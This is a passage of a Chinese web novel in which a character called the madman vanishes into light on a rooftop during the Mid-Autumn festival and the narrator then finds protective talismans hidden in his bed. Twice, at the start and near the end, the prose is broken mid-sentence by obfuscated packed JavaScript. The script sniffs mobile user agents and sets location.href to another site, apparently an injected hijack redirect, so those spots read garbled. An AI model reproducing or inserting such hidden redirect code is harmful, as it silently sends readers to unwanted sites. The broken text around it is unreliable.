“你的路?”我心里猛地一沉,胃抽动了两下。 ——难道……不好的预感就要被证实了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001300|193953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对,我一直在找的那条路。”他声音平静,睫毛轻轻盖在眸上,“要在足够高的地方,才看得见。我带你去看看。” 房里的空气被抽空了一瞬,我胸口的窟窿又震颤起来。 ——他总不可能打算……来个纵身一跃? “你的路,它通向哪里呢?”我小心查看他神色。 “当然是月亮上面。”他神色宁静,脸上仿佛映着月光。 “还是去看月亮的背面吗?” 他嘴角勾起笑来,两道深弧从鼻翼延伸到下巴:“我想,我已经知道她的背面是什么了。” “那你还上去干什么?” “去给她当镜子啊。”他的五官一下柔和起来,眼睛里化进了一小团炉火的温度。 我怔住了,没想到会是这样一个答案。 “我想,在我们望着她的时候,她也通过我们在查看自己吧。就像这里面写的,她将水面当做镜子。”疯子左手按在纸上,食指轻轻划出一小道弧线, “但是,她也看不到自己的背面。因为在这里,我们看见的,永远是她的正面,她被太阳照亮的正面。” “所以,我必须上去,去为她照见她的背面。” 说完,他抬起头,转身微笑着看向我。 夕阳洒在他脸上,镀上一层近乎神圣的光晕,将现实侵蚀成梦幻。 我呆呆望着他,听见自己问:“你要怎么上去呢?” “那把剃刀。”阳光覆盖住他的双眼。 “那把剃刀?” “其实,”他脸上,笑容轻轻漾开,“它从不真地存在。” ——原来你知道。 “因为,它并不需要真的存在。”他的微笑在夕阳的余晖中迷离起来,益发像位神秘的先知。 “把人绑在地上的,从来不是地球的重力,而是人的欲望。 “从诞生开始,不断长出的各种欲望,各种需要。 “它们就像树根,将人牢牢绑在这地球上,绑进这现实里。 “人活着,就是不断向下生根的过程。 “而那些没有欲望的人,他们就像蒲公英的种子,轻飘飘的,风一吹就飞走了。 “这个世界留不住他。哪里都留不住他。” 我忽的感到一阵悲伤—— 这位先知,说的正是他自己的预言吧。 他已经不需要这个世界了吗? 这个世界,也已经不需要他了吗? 他的逃跑,终究是逃向理想,还是逃向虚无? 我们一起吃了晚饭。 晚饭十分丰盛,是中秋晚宴该有的样子。方姨用我叫不上名字的药材煲了锅老鸭汤,又蒸了一大条鲫鱼,鲫鱼上还点缀着鲜红的枸杞。 氤氲的热气中我们仍没怎么说话,只有方姨每隔几分钟就喊我多吃些菜。 疯子也比平时吃得多些。咀嚼得很慢,很认真。 他心情应该不错,表情舒缓,眼神柔和。甚至,他还用公筷为方姨夹了块鱼肚。在她骤然惊诧的目光中,他笑眯眯地说:“我记得你爱吃。” 我胸口像被狠狠撞了一下,方才所有的不安都落定成确凿的悲伤。 ——他已经拿定主意要离开了吧? 喉头哽了哽。我放松脸颊望着他,手指却紧紧捏住了筷子和碗沿—— 一会上了天台,我一定要看紧他,无论如何都要拉回来。 因为菜多,这顿饭吃完就已经快8点了。 方姨不肯让我搭手收拾。于是,我陪疯子回房取了青词,一起上了天台。 经过厨房时,我同方姨打过招呼。大概在忙,好一会儿她才说,别在上面呆太久,早点回来。 我还是第一次在晚上上天台。 晚上的天台完全是另一番景象——四周黑黢黢的,只看见远处护栏模模糊糊的影子。身边的疯子,也只是更深的一团漆黑。更远的地方,还能看到几点红的黄的灯光,那是些高楼,大概已经出了这片辖区了。 天空上却热闹得很。巨大的黑色幕布上缀满了星星,清泠泠的,亮得能牵动人的心跳。 我在主卧的方向找到了那轮月亮。它低悬在天边,圆圆的,金灿灿的。 我的眼睛终于适应了天台的黑暗。我转向疯子,看见他对着月亮,一动不动,脸上的表情也全都消失了。 他看得那样认真,就像要仔细打量它最后一眼。 城市的微光给他的皮肤裹上一层暗红,像是要往这苍白里注进去一些血色。 “这是澄净的月光。”好一会儿,他终于低头望向地面。这黢黑的地面上也铺着一层白霜。 “开始烧吧。”他说。蹲下身,将那叠纸放到地上,抽出三张对折成拱形,搭起个小丘。看上去有些像清明节的烧纸堆。 接着,他从裤兜掏出了打火机。 “咔”的一声,橘黄色火苗亮起,在他拇指后轻轻摇动,将他的脸也霎时照成了月亮的金色。 他将写着标题的那张纸凑到火上,火苗便立刻舔了上去。纸上先现出一点焦黄,随即便亮起蓝焰,蓝焰再变为亮橙,纸便烫得蜷曲起来。 这张纸被端到了小丘下,于是小丘也燃烧起来,成了这夜里的第二团光。辛烈的烟味散进空气,又被空气带进我肺里。这熏燎的香气将清凉的夜空都烧出了暖意。 我蹲着纸丘前,看着它被火光慢慢吞没,脑子里突然出现阿塔烧房子的段落—— “没过多久,什么都不见了,只有冒着轻烟的木炭”。 眼前的小丘消失了,只剩几块白中透黑的灰烬,散落在地上。 今晚没有风,那些文字变成的青烟,都直直飘上了月亮吧。 直到视网膜上蓝青色光斑都消失不见,疯子仍蹲着没动。 “月亮真的是你的理想吗?”我扶着膝盖慢慢站起身,看着地上那团黑影。沉沉的空寂中,声音有些突兀。 疯子也站了起来。他没说话,但应该在看着我。他的脸又隐在黑暗里。 “《月亮和六便士》。”我盯着那黑暗,说得很慢,“你和书里那人,追逐的或许是同一种东西。” 半晌静默,一声轻笑忽地从前面闪过,他的脸仿佛被照亮了一瞬。“你说得对,她不是我的理想。她是我的塔希提,我的家乡……”随后的声音却平静舒缓,“我该回去了。” 我眼睛一跳,慢慢向他靠近一步,肩膀和他并在一起。 “我之前和你说,不要被月亮看见。”他的声音像月光下的溪流,银白的绸带。 “因为我看见它的时候,它也会看见我。”不知为什么,我勾了勾嘴角。 “对,你看见了月亮,月亮也就看见了你。”溪流汇入深潭,那里有另一片夜空,“《月亮和六便士》,既然提到这本书,那么还有句话也是书里的——不要被命运看见。”又一声轻笑响起,夜空泛起了涟漪,“你看见了命运,命运也就看见了你。” ——他……看见了自己的命运。 他被命运捕获了。 我站到疯子对面,想看清他的神情。 我看清楚了——不知道什么时候,眼睛又适应了黑暗。 他神色平淡,目光悠远,染着悲悯。仿佛,他看见的不只是自己的命运,而是这世间所有的命运。 “还记得之前那篇青词吗?”他的目光聚到我身上。它已经变得十分温柔,带着莫名的熟悉,却仍遥远得像在看另一个人。 我望着他眼中的哀怜,恍惚起来:他梦里的月亮,望向地上的石像时,是不是也是这样的眼神? 他看的,到底是谁? 我?还是别人?还是,他自己的过去,或者将来? 他的声音继续响起: “那段声波,无法被月亮看见的声波。原来它真的存在,一直都在。” ——那段声波? 我听不懂,只觉得心口又被一点点揪紧。 “我很高兴你来了。这也是我的愿望。” 清浅的笑落在他唇上,将他照亮,整张脸都通透起来,“你还说对了一点——重要的,不是我看见了镜子,也不是看见了镜子中的我,而是,我看见了我。” 我越来越迷茫。但也终于觉出是哪里不对—— 我们四周仍是漆黑一片。 但疯子,他全身上下,正微微发着光。 我瞪大了眼睛看着他,不知道眼前这情景是匪夷所思的荒诞,还是理所当然的正常。 他表现得那样正常,除了—— 他正越来越亮,仿佛这夜里所有的月光都汇聚到他一个人身上。 他正在变成月亮,变成这人间的另一个月亮。 他发着淡金色辉光,将右手举到胸前,低头去看食指的指尖。他唇边挂着微笑,眼里满是欣慰。他的右手,也发出淡淡的金光,晶莹得像透了光的玉石,就和他的脸一样。 指尖上没有金线。 我没看见那根金线。 他抬起头,望向月亮。 他身上的光仍在变亮,已经从淡金色变成了银白色。 这奇幻的景象让我完全忘了怀疑它的真实。 “这世界是个巨大的迷宫。” 他转过身来凝视着我,脸上是我从未见过的微笑。 “晋江行,拿好你手中的线。” 说着,他身上漾起了粼粼的波纹,就像月光下的河面,闪烁着细碎的银光。 很快,波纹变成了裂纹,他碎成一片片镜影,化作一块块光斑。 光斑一点点变小,一点点变淡,最后再看不见。 他彻底融进了这夜色中。 疯子消失了。 11. Chap.10 存留的世界 Chap.10 存留的世界——到底谁疯了 疯子消失了。 在这夜晚的天台上,变成光,消失了。 我长长望着他消失后的那片黑暗,却连眼底的幻影都再没有出现。 脑子里空荡荡的,空荡得就像这茫茫的黑暗。 他真的消失了? 他去了月亮? 我抬起头,去看那轮月亮。它仍圆圆的,金灿灿的,还和之前一样,没有任何差别。 那上面,到底是白色的荒漠,还是镜子的迷宫? 我等了许久,久到双腿沉得快要陷入地面,才终于明白过来——天台上的月光不会再重新变回疯子了。 他再不会出现在这天台上。 我只能自己回去。 我转身,一步步走下楼梯。看着昏黄的灯光下自己长长的影子,想:他真是个怪人。突然消失,就和突然出现一样。 ——还是没能拦下他…… 楼道里脚步声空空回响。一股枯干的苦涩泛上喉咙,扼住了我。 但……我也并不该拦他吧。我马上想。 只是,该怎么向方姨交代呢? 没几步就到了第五层。我在大门前站定,盯着猫眼里的那点光。直到楼道的灯再次熄灭,才耷拉着脑袋打开门走进去。进去后带上了大门。 方姨正坐在客厅沙发上看电视,嘴里无声地诵着佛号。就和之前的每个晚上一样。 听见动静,她转头向我看来:“回来啦?” “嗯。”我站在沙发边,目光从她身上移向电视。 电视里正播放央视的中秋晚会,歌舞升平,十分热闹。舞台和特效美轮美奂——比刚刚天台上那一幕还要奇幻。 “怎么上去这么久。上面冷不冷?”她笑眯眯地望着我。 “还好,不冷。”我也微笑着回答。 “有月亮吗?圆不圆?”她随口问着,转过头去继续看电视了。 “有。很圆,很亮。”我站着没动。 “哦。今年中秋晚会办得不错,坐下来一起看吧。”她额头眼角的皱纹都舒展着,看来对这节目的确满意。 “嗯,我不太爱看这些。”我腼腆地笑笑,“我还是去借本书读读吧。” “你就是爱读书。”她语气中带着笑。望着电视,又拨下一粒尾珠。 我应了一声,走到书房门前,敲了两遍。 这次却没人喊我进去。我只好自己推开了门。 打开灯,房间还是我们离开时的样子。 疯子真的不在里面。 我走到桌边。那本《理想国》还好端端摊在桌上。 下午的事都是真的。 我将手放上封面,抚了抚,指尖一片冰凉。 我拿起它,退出了书房。 他真的不见了。凭空消失了。 我回到房间,躺在床上,试图理出个线头来。 但那个线头——那个“真正唯一存在的”房客——他凭空消失了。 他的消失,将那张拼图,那张已经完成的、所有碎片都严丝合缝嵌在一起的拼图,一下炸得粉碎。就连构成拼图的每一块碎片,都化成了齑粉。 我真的知道这个屋子的故事吗? “我怎么可能知道呢……”我低喃出声。 它…已经彻底不讲逻辑了。 我拿起手机,解锁,在浏览器里输入“人变成光消失”。搜索结果告诉我,“人死亡后确实会分解为物质元素”,又推荐“人死如灯灭是不是真的”“生物体的发光现象”作为相关问题。 我又搜索“人突然消失”,却满页都是人口失踪案件的报道。 这和我看到的完全不是一回事—— 疯子是当着我的面,变成光,一点点消失的。他连一根头发都没留下。 所以——我指尖颤抖着,将手机扔在了床上—— 是人真的能变成光消失?还是…那个叫赵路的疯子,从未真实存在过? 到底谁疯了? 这个世界?还是……我? 不,不可能是我疯了。 因为——我转头看向书桌上那本《理想国》——它刚刚还摆在书房的桌上,是疯子亲手放的。直到今天下午,他还真真切切地存在过! 那么,只可能,是世界疯了。 这世界,不再是我熟悉的那个由物理法则构筑的世界。 是世界疯了。 所以疯子消失后,方姨才一个字都没问。 这个世界,人原本就会忽然消失吧。 疯子,他真的去了月亮吗? 他是那株桂树?是它洒落人间的桂花,才会又变成月光,回去了? 还是,他被金线带进了迷宫?他迷失在里面了吗? 他是不是已经成了镜中的倒影?还是……他也成了一面镜子呢? 他说,自己要还月亮的债。他还清了吗? …… “少年要变成男人,男人要变成疯子,疯子又变成月光……” 迷迷糊糊间,有个声音在萦响。好一会儿,我才明白过来,那是查拉图斯特拉在低唱—— “精神要变成骆驼,骆驼要变成狮子,狮子又变成孩子……” 对啊…他就是变成了孩子。 他是那个突然出现在沙漠里的孩子,那个小王子…他又回到了他的月球上。 月球上有他的桂树,在等着他…… …… 我像泡在起伏的温水中,水波轻轻推挤着我。眼皮越来越沉,越来越沉…… 没多久,我就睡着了。 醒来已经8点。我竟然睡了近十一个小时。 摁掉闹钟,我赶紧穿衣洗漱,吃过方姨做好的早饭,提上盒饭往公司赶。 一切都和之前一模一样。 我不知道为什么自己还在正常吃饭、正常上班。或许是因为方姨表现得太过正常。 等到了公司,也和之前一模一样。 再没人提起肖勇平—— 才放了一天假,他就已经被彻底遗忘。 下班后,我还和之前一样,走回了方姨家。 这还是国庆假期,方姨早早做好了晚饭。我到家时,饭菜已经摆好—— 桌上摆着两幅碗筷。 方姨在厨房收拾。我和她打过声招呼,推门进了书房—— 疯子果然没被刷新出来。 转椅和书桌安然不动,书柜和窗台也沉默不言。 我关上房门,有些失望。 不一会儿,方姨从厨房出来,擦干净手,正要落座。 “方姨,赵路呢?他今天又不和我们一起吃饭啊?”我拾起筷子,语气松散。 方姨的动作滞在半空。她骤然抬头,脸色刹时青白,目光直直刺了过来。 几秒后,她才慢慢坐下,抿了抿嘴,声音干涩:“吃吧,只有我们两个。”低头拿起碗和筷子。 “我刚刚去书房,没看到他。”我不紧不慢地追问,脸上显出些好奇,“他又出去了吗?” “够了!”她突然轻喊一声,旋即紧闭起嘴唇,下巴剧烈抖动着,抠在碗沿的手指也蜷曲起来。过了几秒,她才劈手夹了几筷子菜,重重放进碗里。然后低头吃饭,再不看我。 ——她知道疯子不见了。 我拿起公筷,正要夹菜,一道闪电却陡然劈进脑海—— 那两床厚被!她当时说,“两床就够了”…… 她早就知道,他会消失。 她到底知道什么? ——不,她做了什么? 他的消失…是因为她? 我木着手将菜夹进碗里,脑中又翻搅起喧乱的叫喊。那是前天晚上他俩的争吵。 ——那个晚上,在我下楼之后,这屋里到底发生了什么? 会不会…… 会不会,那天,疯子他就已经成了鬼魂? 是啊,一个鬼魂消失,总比一个大活人消失,要合理得多。 我慢慢抬起头,望向餐桌对面的方姨。 她的脸掩在暗影里,一米多的距离,却看不分明。 冷不丁打了一个寒颤。我才发觉全身肌肉都死死绷着,僵成了石头。 我没敢再开口。 低头吃完饭,回了自己房间。 躺在床上,更多的细节才浮出水面—— 晒被子已经是一周前,但他们争吵却是在前天。如果真是失手杀人,怎么可能提前那么久预见到? 而且…… 疯子消失前的脸又浮现在我眼前,他脸上的微笑清晰可触。那微笑是那样平和,甚至…满足。 一个被谋害的鬼魂,会是那样的神情吗? 那微笑,它分明在说:我准备好了,这才是最好的结果。 他不是被迫离开的…… 方姨,不是凶手。 但…… 这到底是怎么回事? 为什么,她要假装一切正常? 为了将我稳住?稳在这屋子里? 但这又是为什么呢? 现在疯子不在了,不需要有人来制约了啊…… 难道,她真的是在找“程静”的替代品? 一个步程静后尘的替代品? 危险的直觉爬遍我全身。 却不是战栗,而是一种近乎漠然的麻木。我明明应该焦急,却旁观者般冷冷看着这个焦急的自己。 这屋子不对劲。我告诉自己。 我就像只一脚踩进了正形成中的琥珀的小虫,眼睁睁看着又一滴金黄的树脂,缓缓在头顶成形,就要滴落。 快走,你会变成标本。我向自己大喊。 但是,我还不能离开…… 快搬出去!我急得尖叫起来。 但是,我还不能离开。就是,不能离开…… …… 我很困。很困。 沉重的睡意暖暖包裹上来,我也露出暖暖的微笑。 很快,我睡着了。 我睡着了,还做了梦。 梦里,一会儿是去月亮上看疯子种树,种着种着,那桂树就从地上拔了起来,将根当作腿,跟着我们满月亮跑;一会儿是这屋子里进了妖怪,我们又是捉迷藏,又是捉妖怪;一会儿又是我和方姨坐在餐桌边,桌上摆满菜,我们一边望着月亮,一边等着疯子,心里都知道——他不会出现了…… 然后,我忽然醒了。 我是被尿憋醒的。摸过手机一看,居然才凌晨1点多。 睡得太早就这点不好——容易起夜。 我迷迷糊糊起身,摸着桌椅到门边开了灯,拉开房门。 外面黑乎乎的。这个点了,方姨早就睡了。 我借着莲花灯的红光辨认出方向,拖着脚往厕所走。 走到餐厅跟前时我顿住了——书房门下面的那条缝,竟是亮的。 里面…有人? …… 是疯子吗?他回来了?! 心猛地蹦了几下。我闭上眼,再慢慢睁开——那条光,它还在! 眨了眨眼,空气回到我肺里。 我轻轻靠近,将手搭在门把,耳朵贴在门上—— 里面有动静。 稳住手,向下一压,一推——门开了。 浓烈的烟气一下钻进我肺里,呛得我剧烈咳嗽起来。 我咳弯了腰,肺尖上疼出一片火星。 灰白的烟雾中,我看见了方姨—— 她正蹲在地上,胳膊僵在半空,抬头向我看来。她身前的大盆里正燃着火光,这一屋子烟就是从那里冒出来的。 这样浓的烟,我刚刚在外面竟一点儿都没注意到。 火舌的高温扑来,我开始觉得有点儿热。 “方姨…咳…咳咳……你是在做什么?”我捂住嘴鼻,右手撑着膝盖,慢慢站直了身子。 这时,我才看清楚她烧的是什么——那是飘窗上的被褥,疯子的被褥。被芯和枕芯里的丝绵都堆积在地上。我进来时,方姨正将它们一把把扯起来,投进地上那个金属大盆里。 ——他们家,怎么还都爱烧个东西? 眼前的情景怪诞得让我忘了惊讶。我不确定自己是不是仍在做梦。 “你怎么起来了。”方姨的手微微震了两下,像是有些局促。 “您还没睡啊?怎么烧火了?”我满脑子都是她竟然关着门烧火,难道不怕中毒?视线扫过窗户,是打开的。还好,至少不会缺氧。盆底也垫了地毯和红砖,大概不会烧着地板。 “你不用管,快去睡吧。”方姨又扔了几团丝绵进去,喃喃说,“用不上的,就烧掉。过去的,就都忘了吧。” 她的话仿佛有种魔力,同盆里跳跃的火光一起,催得我眼皮直往下掉。我扶住门框,没烤着火的后背凉凉的。 “快去睡吧,你明天还要早起上班呢。”她又催促道。火光下她的脸成了橘红色,上面的纹路更重了,眼窝也深深抠了进去。 “好,那我去睡了。方姨您也早点休息。”我木然转身。上厕所,回房,锁门,躺下,用被子蒙住了头。 睡吧,等明天醒来,就会发现这又是个梦。 第二天,我还是被8点的闹钟吵醒的。 照常吃过早饭,照常上班。 照常热了午饭,照常回来。 照常打开书房的门——疯子还是没有刷新。 不同的是—— 飘窗空了。只剩下光溜溜的木板,裸露着和地板同样的清冷。 书柜也空了。什么都没留下,干净得像具剔光肉的骨架。 垫子,薄被,枕头,书,它们好像从来不曾存在过。 但它们的确存在过。 我指尖从飘窗、书架、桌面上滑过,轻轻嗅着空气中辛辣的焦气。 昨晚上那个梦,是真的——方姨,真的在这烧了东西。 她为什么要将它们烧掉? 为了将疯子存在的痕迹,彻底抹除吗? 我回头望了望飘窗,那副画还静静挂在墙上,藏在灯光的暗处—— 还好。 我关了灯,退出房间,带上门。 晚饭时,我们都没说话。沉默盘踞在餐桌中央。 没人再提起疯子。就像从没有人,提起程静。 我侧过脸,望向左边——那是疯子的位置。空荡荡的,不过是另一块飘窗,另一座书柜。 这屋子正在失忆。 它消化,清空着里面人的记忆。 里面的人,也在失忆。 程静失忆了,于是有了疯子。 疯子进了迷宫,于是消失了。 他就像“程静”,被从这屋子里清了出去。 那么我呢? 我也会失忆吗?忘记疯子,忘记一切。 我也会迷路吗?突然踏进哪面镜子,化作迷宫里的一串回响。 我也会……消失吗?被从这间疯了的屋子,从这个疯了的世界永远清空? 无数只虫子爬满我背脊,酥酥麻麻,肚子里却顶了块石头。 我被什么重重按在椅子上,低着头,一口一口往嘴里递饭。 ——一定有哪里不对劲…… ——当然,那还用说吗? 我睡得太多,太沉。一沾上枕头,意识就都被剪成了碎片。 每个夜晚,理智都在大喊:必须离开,马上!哪怕借贷,哪怕回家…… 但是,第二天一起来,我又会照常吃早饭,上班,下班,再照常回到这里。 我仿佛陷入了一个循环,一个吊诡的循环。 这屋子里,有什么东西,将我牢牢绑定。 难道…真的是风水? 空气中浮现出方姨的脸——那张火光下浓墨重彩,明暗分裂的脸。 我紧紧捏住筷子,抬起头,望向餐桌对面—— 方姨正端着碗,微微低头,平静吃饭。 她的脸…… 越看越不对劲。 仿佛上面哪个角落,被轻轻一扯,稍稍变了点形。 人还是那个人。五官还是那些五官。但就是有哪里不对了。 越看,她越像童话故事里,那条穿了外婆睡衣的狼,说不出的诡异。 似乎是察觉到我的目光,她停住筷子,抬头看了过来—— 脸上肌肉僵着,鼻孔微微张了两下,马上又别开眼,低下头去。那一眼里,是紧绷的审度,和幽微的慌乱。 终于吃完饭,我回到房间,反锁上门。背着门,向里看去—— 肯定哪里有问题。 目光扫过衣柜,书桌,床,床头柜,忽地一刺,定在了飘窗—— 空了。飘窗空了。那棵幸福树,不见了。 我快步过去。 俯下身。飘窗木板的间隙里楔着些褐黄色颗粒。我用指甲去挑,却没够着。手掌拂过木板表面——纤尘不染。太干净了。 蹲下,视线落在墙根。这一段的踢脚线蒙着灰,比别处的都厚。墙缝边,甚至还落了些细小的干土,和几片碎米大的白色颗粒。 ——除秽的盐米? 指尖摁上去,却传来尖锐的刺痛。捻到眼前,那根本不是米,而是块边缘锋利的薄片,磨砂断面,泛着珠光——碎瓷。 所有的白色颗粒,都是。 地板的缝隙里,也塞填了许多黄色土粒。 ——树,不是被正常搬走的。 是谁? 这里,发生过什么? 我视线在这墙角定了半晌,才起身坐上飘窗。木板的凉意穿过薄裤,沿着我脊柱向上蔓延。 这几天的一切在脑中倒带。我在找那个时间点——那盆树消失的时间点。 那盆树,从10月1号方姨领着我搬进来起,就完全是由她在打理。 到今天,正好一周。 3号晚上,她想给我介绍对象。我以为是疯子,憋了些火气,走到树前站了十多分钟——指尖都触上叶片了,最后也只是轻轻擦了擦。 4号……没印象了。再往后,更是一片混沌—— 我的脑子就像间落满灰的旧屋,光线中悬浮着微尘,缓缓翻滚。从疯子和方姨争吵那夜起,空气里便弥漫开焦躁的频率,每一颗微尘都在不安地震颤。 ——我哪来的心思再留意这房里的陈设? 那么,树是消失在4号之后,8号之前的某个白天。或者…就是5号晚上? 毕竟,方姨亲手布下了“平安健康局”,她没理由将它砸掉。 而疯子,消失在6号。 所以,就是5号吧……疯子砸的。 但为什么? 那天晚上,饭桌上他砸了碗。我埋头安坐的间隙,确实好像是也有别的什么打碎的声音…… 可是,他会特地跑到我房里,来砸一盆树? 这树有什么问题? 我摸出手机,搜索“平安健康局 布法”,出来的却几乎都是些空洞的“正能量”准则,或者健康行业的商业布局。 那么…… 我又输入“幸福树风水”。这一次,得到的结果却是出奇地一致:寓意着幸福平安,象征着健康长寿。 连那根粉色绸带,也被解释为常见的祈福手段。 一切看上去,都没什么问题…… 将手机按在飘窗上,抬起头,望向前面—— 这方空间,曾是疯子住过的地方。到处还散落着他的东西。 他那天晚上想起了一切。会不会…就是在这里? 这房间里,到底藏着什么? 目光一寸寸犁过:床头柜,床,书桌,椅子……终于凝在了衣柜上。 ——卫生巾和胸衣?! 被压在最角落的记忆猛地炸开。我看见自己拉开抽屉,里面赫然就是三包卫生巾,和四件胸衣。 我曾以为它们属于那个叫“废物”的女孩,但“废物”,就是疯子啊…… 一个男人,怎么会有这两样东西? 指尖传来手机壳冰凉的硬度。我手一撑,倏地起身,大步走到衣柜前。 那包东西,就塞在右侧隔间的最底下。我拉开柜门蹲下,托起那摞近一米高的衣服与被单,将它抽了出来。空气中弥漫着织物被岁月压出的陈味。 我将袋子放在地上,叉开腿坐下,解开袋口,抱着胳膊朝里审视—— 四件内衣明显泛黄,边角起球,甚至勾了丝。卫生巾是两包日用,一包夜用,其中一包日用已经拆开。 ——的确有人在用。 我没碰内衣,伸手抓住那包未拆封的日用,举到眼前。 转动几圈,才在封口边缘找到一行淡灰色字迹:“限用日期:2028.03.06”。 ——保质期这么长? 翻到侧面,找到产品信息里那行小字——“保质期:三年”。 三年。 2028减3…多少来着? …2025。 2025……2025?! ——那不就是今年? 今年?……只比我早来一步? 心脏猛地抽动两下,我指尖紧了紧,对抗突如其来的眩晕。放下这包,我立刻将另外两包也抓了出来,僵着手指,近乎粗暴地翻找日期—— 它们…全都是。全是今年产的。 我死死盯着那包已经拆开的卫生巾,大脑的齿轮仿佛锈死,艰难地往下转动—— 今年,还有人用它? 她…是谁? 方姨? 还是……这里的确住过另一个女人? 体内有根弦在嗡鸣,将全部血液振荡一空。各种猜想蜂拥进脑子,搅作一团,沉甸甸地缠得我没法呼吸。 不知在地上坐了多久,我才慢慢爬起身,开始在这间房里四下翻找。 柜子、桌子,里里外外;柜底、床底、各处墙缝……我查遍了每个角落。然而,除了橱柜里的衣物,就只有些纸笔文具、小风扇、电暖器之类。没有梳子,没有镜子——再没有任何明显带有女性特征的东西。 只在几处墙角,又发现几粒残留的盐米。 只有这些? 脑袋开始飞速地空转,那股混合着焦虑的麻木,又淤泥般灌满我的躯干四肢。 我拖着脚走到床边,拿起枕头,拍了拍——到处都找了,也不差这里。 但—— 指尖下传来异样:枕套下面,有块鸡蛋大小,硬硬的扁平凸起。 ——还真有东西。 呼吸骤然停住。我捏住那个角落,另一只手小心探进枕套,将它掏了出来。 是一个小巧的明黄色绸袋。扯开抽绳,里面是个叠得方方正正的姜黄色纸块。 这材质…有些眼熟。 心脏猛地撞上喉咙。双手发起颤起来。 僵了好一会儿,我才不断默念着“轻点”,用指甲将它撬开,一点点展平。 是张符。 长条形状的黄纸上,画着鲜红的文字和图案。我勉强认出来“敕”和“驱邪镇惊”,却认不出图案——盘踞在中间的那个图案,像只瞪着毛眼、没有翅膀的怪异苍蝇。 空气默住了。 随即,“吽”的一声—— 心里那根弦,断了。尖锐的爆鸣,木刺般扎进我耳蜗。 方姨…… 是她…一定是她!是她在帮我换洗被褥时,偷偷放进来的! 我发疯般将整个床铺都掀翻过来——床垫下,果然压着另一张黄符。 同样装在明黄的绸袋里,不偏不倚,正压在床的中心。 它被折成八边形。展开后,同样是长条形状,正中勾画着一圈盘绕的小圆,像条赤红色小蛇。字符则在上方,应该是个汉字,我却不认识——它由三个字嵌合而成: “雨漸耳”。 捏着这第二张符,我心中乱舞的闪电收束成一道,被冰冷的钢钎叉进了地面—— 这屋里的所有不对劲,终于从游荡的鬼魂,凝固成能够触碰,可以解开的线头。 我坐到床边,将这两张符拍了照,发到浏览器上搜索图片。 第一张没有相符的结果,匹配出的图差得太远。 第二张写着“雨漸耳”的却马上搜索了出来——“金光符”。据说可以护身辟邪、净化身心。 ——护身辟邪…净化身心? 不是害我……? 但如果这张符是要保护我,那么,我这几天越来越明显的不对劲……是怎么回事? 胸口一闷,仿佛塞了块爬满白蚁,被蛀透了的烂木头,持续发出细微的断裂声。 目光锁上第一张符—— 问题一定出在这里。 将两张符的照片发到知否提问后,我将符纸仔细塞回绸袋,放进背包前袋。 接着,仔细拍过枕头被褥,重新铺好,再将地上散落的卫生巾收进袋子,系紧,塞回了衣柜。房间恢复成我刚进来时的模样。 我坐回飘窗,一边整理思绪,一边刷新页面。直到午夜12点,都没人回答。 水泥墙的冰凉沁入身体,试图将我钉在清醒中。一对眼皮却在不住地往下掉落—— 前面,那床被子,它松松软软地窝着,深切呼喊着我,声音又柔又暖…… 整片空间,都流向它,塌陷进去。 睡意像温热的水流,漫过脚踝,轻轻推搡我的后背。 不知什么时候,我沉了下去,沉进梦里…… 第二天,我还是被闹钟叫醒的。 醒来后,脑袋仍像浸泡在水中,又晕又胀,眼皮也仿佛吊了两块秤砣。 我强撑着起了床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001301|193953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,吃过早饭,就去上班。 走在路上,我反复想——我到底刷牙洗脸了没有?我复盘着早饭的内容,却怎么都想不清具体是哪几样。 但肯定就是那些——牛奶冲麦片,馒头,鸡蛋。和每天的早饭一样。 我的腿抬起,落下。 公司越来越近。 周围的景象有点儿不对…… 明明还和之前一样,却在最不起眼的角落,有了一点细微的变形。就像条印着风景的丝巾,被轻轻扯动。 我走进园区,大楼,电梯,公司……早会的喊话,同事的侧脸,欢姐的指令,屏幕的表格……这些早已焊死在脑中的事物,却在扭曲。 我仍在一刻不停地轮着号码,说着套话。 但是我——我沉在水下,正望着上面这个头戴耳机、敲击键盘的我。这个我,正和周遭的景象一道,摇曳,变形。就像水面的倒影。 这就是我一直身处的世界? 但它…不再像我熟悉的那个。 我究竟,在哪里? 在这个世界,枕头下能翻出符纸。 房间里会多出陌生人的物品。 活人会变成光,突然消失…… 它是从来如此,还是被偷偷换掉了? 我走在下班的路上,认真地思索。 马路在我脚下延展,道旁的树木和楼房拉向天空。路灯的光无声打在地面,烫出一个又一个浅坑。 我得弄明白—— 这个世界,到底有没有疯子? 我看着自己走过马路,走进小区。 我不敢动弹。我害怕,哪怕一毫米的偏离,都会让眼前这倒影彻底碎裂,惊动水下的巨兽。 有什么在看着我。 留神,别踩出去。 别被它看见…… …… 回到方姨家,在门口停下。 鞋架上,摆着方姨的拖鞋。属于疯子的那双,不见了。 方姨还没回来。疯子的拖鞋,是她收走了? 进屋后,我径直走进书房,反手带上了门。 这里仍和我上次进来时一样——没有疯子,书柜和飘窗也空空荡荡。 之前那股焦糊味却已消失不见,空气中散落着淡淡的桂花香。我抬头望了望画——这花香,肯定是从窗外漫进来的。 疯子,仿佛从未存在过。 空气轻轻振荡。 我定了定神,转身,在书桌前站定。目光向上,搁板上,还稳稳安着那对铜麒麟。 取出手机,对着它们拍下两张照片。随后,伸手轻轻抬起右边脚踩绣球的那只,抽出底下压着的符纸。 